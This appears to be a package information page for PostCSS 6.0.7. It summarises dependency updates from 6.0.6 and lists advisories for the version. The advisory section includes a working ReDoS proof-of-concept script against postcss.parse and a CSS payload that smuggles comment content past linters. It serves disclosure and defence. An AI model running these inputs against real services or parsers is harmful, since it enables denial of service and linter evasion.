PostCSS version 6.0.7 represents a minor update to the popular tool for transforming styles with JavaScript plugins, building upon the foundation laid by version 6.0.6. While both versions share the same core functionality and description, several key differences exist in their dependencies and development dependencies.
Notably, the supports-color dependency saw an update, moving from version 4.1.0 in 6.0.6 to version 4.2.0 in 6.0.7. This could introduce improvements or bug fixes related to color support detection in different terminal environments. On the development side, fs-extra was updated from 3.0.1 to 4.0.0 and size-limit upgraded from 0.3.2 to 0.7.0 possibly reflecting enhanced file system operation capabilities and improved size limit configurations for the project's builds. Furthermore, eslint was updated from version 4.1.1 to 4.2.0 and yaspeller-ci upgraded from 0.4.1 to 0.6.0. This tells us about tooling and code quality enhancements.
Developers using PostCSS should consider these changes, especially those who rely on specific versions of the updated dependencies. While the impact on core PostCSS functionality might be minimal, ensuring compatibility with their project's tooling and build processes is valuable. Upgrading to 6.0.7 offers the potential for improvements and bug fixes within the updated dependencies, contributing to a more stable and efficient development workflow. The release date difference indicates a relatively quick follow-up, suggesting the 6.0.7 release was likely addressing immediate issues or incorporating refinements after the 6.0.6 release.
All the vulnerabilities related to the version 6.0.7 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.